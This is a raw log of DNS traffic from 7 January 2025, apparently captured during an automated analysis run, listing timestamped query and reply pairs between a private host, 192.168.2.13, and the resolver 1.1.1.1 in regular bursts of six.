Jan 7, 2025 01:23:50.659928083 CET	51074	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:50.667980909 CET	53	51074	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:53.299582958 CET	37846	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:53.306816101 CET	53	37846	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:53.307689905 CET	50331	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:53.326360941 CET	53	50331	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:53.327626944 CET	50052	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:53.335777044 CET	53	50052	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:53.337563992 CET	52602	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:53.345179081 CET	53	52602	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:53.346642017 CET	53485	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:53.365571976 CET	53	53485	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:53.366439104 CET	37254	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:53.375150919 CET	53	37254	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:55.225663900 CET	39100	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:55.233756065 CET	53	39100	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:55.234644890 CET	46657	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:55.241446018 CET	53	46657	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:55.242377043 CET	57147	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:55.252983093 CET	53	57147	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:55.254359007 CET	56263	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:55.261405945 CET	53	56263	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:55.263019085 CET	34164	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:55.270294905 CET	53	34164	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:55.271538973 CET	52859	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:55.278469086 CET	53	52859	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:56.806909084 CET	51280	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:56.815692902 CET	53	51280	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:56.817311049 CET	35721	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:56.825232983 CET	53	35721	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:56.826697111 CET	45149	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:56.845788956 CET	53	45149	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:56.846777916 CET	47940	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:56.853724957 CET	53	47940	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:56.854504108 CET	51156	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:56.862092972 CET	53	51156	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:56.862956047 CET	47362	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:56.869844913 CET	53	47362	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:58.741167068 CET	36892	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:58.748373985 CET	53	36892	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:58.749048948 CET	55272	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:58.767720938 CET	53	55272	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:58.768882036 CET	53728	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:58.775922060 CET	53	53728	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:58.776503086 CET	45739	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:58.785193920 CET	53	45739	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:58.785850048 CET	54458	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:58.792845964 CET	53	54458	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:58.793462992 CET	35407	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:58.800731897 CET	53	35407	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:00.672233105 CET	38469	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:00.680991888 CET	53	38469	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:00.681888103 CET	49994	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:00.689897060 CET	53	49994	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:00.690660000 CET	49480	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:00.697896004 CET	53	49480	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:00.698740005 CET	56289	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:00.717642069 CET	53	56289	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:00.718391895 CET	37979	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:00.725486994 CET	53	37979	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:00.726232052 CET	46095	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:00.739551067 CET	53	46095	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:02.605057955 CET	47933	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:02.612231970 CET	53	47933	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:02.613042116 CET	47094	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:02.627567053 CET	53	47094	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:02.628464937 CET	54398	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:02.635282993 CET	53	54398	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:02.636025906 CET	59819	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:02.642788887 CET	53	59819	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:02.643713951 CET	60216	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:02.658062935 CET	53	60216	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:02.658798933 CET	50110	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:02.667380095 CET	53	50110	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:04.514000893 CET	48821	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:04.521246910 CET	53	48821	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:04.522030115 CET	57606	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:04.529026031 CET	53	57606	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:04.530458927 CET	59077	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:04.537306070 CET	53	59077	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:04.538074017 CET	40432	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:04.545141935 CET	53	40432	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:04.545846939 CET	38243	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:04.553772926 CET	53	38243	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:04.554492950 CET	49874	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:04.568223000 CET	53	49874	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:06.229604959 CET	42898	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:06.238006115 CET	53	42898	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:06.239213943 CET	46876	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:06.246206045 CET	53	46876	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:06.247497082 CET	52716	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:06.254563093 CET	53	52716	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:06.255433083 CET	44109	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:06.269644976 CET	53	44109	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:06.270370960 CET	60598	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:06.277549028 CET	53	60598	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:06.278289080 CET	51151	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:06.286429882 CET	53	51151	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:08.136240959 CET	57718	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:08.145319939 CET	53	57718	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:08.146076918 CET	56030	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:08.153460979 CET	53	56030	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:08.154210091 CET	55104	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:08.162370920 CET	53	55104	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:08.163121939 CET	54714	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:08.171447039 CET	53	54714	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:08.172188997 CET	38375	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:08.180195093 CET	53	38375	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:08.181135893 CET	43403	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:08.188055992 CET	53	43403	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:09.849179983 CET	44350	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:09.856106043 CET	53	44350	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:09.856890917 CET	47261	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:09.864461899 CET	53	47261	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:09.865130901 CET	41253	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:09.871886015 CET	53	41253	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:09.872569084 CET	36743	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:09.879782915 CET	53	36743	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:09.880423069 CET	58521	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:09.887389898 CET	53	58521	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:09.888436079 CET	40297	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:09.895629883 CET	53	40297	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:11.472734928 CET	40553	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:11.479547977 CET	53	40553	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:11.480309010 CET	43297	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:11.499512911 CET	53	43297	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:11.500233889 CET	45262	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:11.506922960 CET	53	45262	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:11.507582903 CET	39645	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:11.522254944 CET	53	39645	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:11.522989988 CET	58905	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:11.529944897 CET	53	58905	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:11.530816078 CET	47301	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:11.545696974 CET	53	47301	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:13.393398046 CET	42903	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:13.401426077 CET	53	42903	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:13.402192116 CET	48304	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:13.409249067 CET	53	48304	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:13.409941912 CET	37286	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:13.416927099 CET	53	37286	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:13.417689085 CET	51498	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:13.424904108 CET	53	51498	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:13.426068068 CET	53259	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:13.433113098 CET	53	53259	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:13.433868885 CET	59267	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:13.440846920 CET	53	59267	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:15.546816111 CET	53049	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:15.553769112 CET	53	53049	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:15.554486990 CET	49749	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:15.561434984 CET	53	49749	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:15.562210083 CET	46714	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:15.569351912 CET	53	46714	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:15.570156097 CET	54647	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:15.577351093 CET	53	54647	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:15.578056097 CET	53593	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:15.586231947 CET	53	53593	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:15.586950064 CET	41266	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:15.594211102 CET	53	41266	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:17.470927954 CET	49778	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:17.479556084 CET	53	49778	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:17.480268955 CET	56077	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:17.487415075 CET	53	56077	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:17.488120079 CET	54402	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:17.495466948 CET	53	54402	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:17.496201992 CET	54976	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:17.503047943 CET	53	54976	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:17.503823042 CET	55771	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:17.510885954 CET	53	55771	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:17.511596918 CET	49924	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:17.521155119 CET	53	49924	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:19.185369968 CET	41982	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:19.194756985 CET	53	41982	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:19.195492983 CET	44662	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:19.203795910 CET	53	44662	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:19.204487085 CET	52492	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:19.211591959 CET	53	52492	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:19.212271929 CET	60852	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:19.219537020 CET	53	60852	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:19.220189095 CET	59907	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:19.227475882 CET	53	59907	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:19.228146076 CET	54380	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:19.234977007 CET	53	54380	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:20.779441118 CET	49016	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:20.788033009 CET	53	49016	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:20.788819075 CET	51728	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:20.795995951 CET	53	51728	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:20.796729088 CET	39023	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:20.803760052 CET	53	39023	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:20.804631948 CET	39541	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:20.811881065 CET	53	39541	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:20.812808037 CET	44623	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:20.826936007 CET	53	44623	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:20.827910900 CET	54822	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:20.834821939 CET	53	54822	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:22.701553106 CET	60352	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:22.710397959 CET	53	60352	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:22.711410999 CET	54396	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:22.718779087 CET	53	54396	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:22.719501019 CET	38746	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:22.726716042 CET	53	38746	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:22.727499008 CET	35226	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:22.734534979 CET	53	35226	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:22.735286951 CET	43522	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:22.742490053 CET	53	43522	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:22.743233919 CET	51574	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:22.750432968 CET	53	51574	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:25.645927906 CET	38908	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:25.653049946 CET	53	38908	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:25.654319048 CET	57817	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:25.661282063 CET	53	57817	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:25.662178993 CET	41719	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:25.669178009 CET	53	41719	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:25.670156002 CET	52546	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:25.677517891 CET	53	52546	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:25.678575039 CET	56159	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:25.685467958 CET	53	56159	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:25.687705994 CET	36717	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:25.694758892 CET	53	36717	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:27.587598085 CET	57389	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:27.594722033 CET	53	57389	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:27.595551968 CET	36049	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:27.602669001 CET	53	36049	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:27.603482008 CET	44202	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:27.610693932 CET	53	44202	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:27.612005949 CET	45092	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:27.619409084 CET	53	45092	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:27.620512009 CET	38396	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:27.628381014 CET	53	38396	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:27.629605055 CET	53103	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:27.636765003 CET	53	53103	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:29.308680058 CET	33552	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:29.315872908 CET	53	33552	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:29.317090034 CET	48140	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:29.324209929 CET	53	48140	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:29.325298071 CET	41244	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:29.332458973 CET	53	41244	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:29.333617926 CET	38191	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:29.340795040 CET	53	38191	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:29.341801882 CET	37865	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:29.348953009 CET	53	37865	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:29.349807978 CET	48528	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:29.356779099 CET	53	48528	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:30.940184116 CET	46792	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:30.947309017 CET	53	46792	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:30.948102951 CET	40069	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:30.957164049 CET	53	40069	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:30.957911968 CET	54968	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:30.964874029 CET	53	54968	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:30.965631008 CET	37375	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:30.972716093 CET	53	37375	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:30.973447084 CET	42671	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:30.988115072 CET	53	42671	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:30.988873959 CET	43889	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:30.995891094 CET	53	43889	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:32.527206898 CET	56640	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:32.534534931 CET	53	56640	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:32.535206079 CET	46078	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:32.542169094 CET	53	46078	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:32.543396950 CET	33491	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:32.550470114 CET	53	33491	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:32.551167011 CET	56740	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:32.558219910 CET	53	56740	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:32.558854103 CET	33735	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:32.566365957 CET	53	33735	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:32.567055941 CET	33170	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:32.573657036 CET	53	33170	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:34.438237906 CET	54812	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:34.445555925 CET	53	54812	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:34.446702003 CET	50683	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:34.453820944 CET	53	50683	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:34.454391003 CET	44107	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:34.461951017 CET	53	44107	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:34.463001966 CET	33426	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:34.477947950 CET	53	33426	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:34.478995085 CET	50516	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:34.486088037 CET	53	50516	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:34.487134933 CET	38379	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:34.494225025 CET	53	38379	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:36.349406004 CET	41984	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:36.357218027 CET	53	41984	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:36.357954979 CET	34643	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:36.365113974 CET	53	34643	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:36.365978956 CET	38656	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:36.373543024 CET	53	38656	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:36.374325037 CET	40634	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:36.382086992 CET	53	40634	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:36.382867098 CET	36285	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:36.390851974 CET	53	36285	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:36.391794920 CET	57541	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:36.399635077 CET	53	57541	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:39.332889080 CET	46079	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:39.340318918 CET	53	46079	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:39.341125011 CET	35288	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:39.348136902 CET	53	35288	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:39.348922968 CET	59432	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:39.356368065 CET	53	59432	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:39.357110023 CET	49095	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:39.364136934 CET	53	49095	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:39.364881039 CET	53999	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:39.371786118 CET	53	53999	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:39.372845888 CET	46585	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:39.380558014 CET	53	46585	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:41.246207952 CET	52923	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:41.253247976 CET	53	52923	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:41.254388094 CET	58572	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:41.261248112 CET	53	58572	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:41.262371063 CET	34982	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:41.269546986 CET	53	34982	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:41.270555973 CET	41542	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:41.277347088 CET	53	41542	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:41.277919054 CET	43128	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:41.284759045 CET	53	43128	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:41.285362959 CET	39291	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:41.292408943 CET	53	39291	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:42.852591038 CET	57827	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:42.861386061 CET	53	57827	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:42.862466097 CET	37507	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:42.869966984 CET	53	37507	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:42.871006966 CET	38677	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:42.878156900 CET	53	38677	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:42.879144907 CET	46419	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:42.886506081 CET	53	46419	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:42.887520075 CET	54905	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:42.894560099 CET	53	54905	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:42.895560026 CET	42659	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:42.902522087 CET	53	42659	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:45.479161024 CET	35903	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:45.487781048 CET	53	35903	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:45.488739967 CET	45448	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:45.496813059 CET	53	45448	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:45.497507095 CET	33506	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:45.505218983 CET	53	33506	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:45.506086111 CET	39902	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:45.514102936 CET	53	39902	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:45.515192986 CET	60723	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:45.522221088 CET	53	60723	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:45.523010969 CET	48751	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:45.529933929 CET	53	48751	1.1.1.1	192.168.2.13
Jan 7, 2025 01:24:47.374102116 CET	37602	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:24:47.381422043 CET	53	37602	1.1.1.1	192.168.2.13
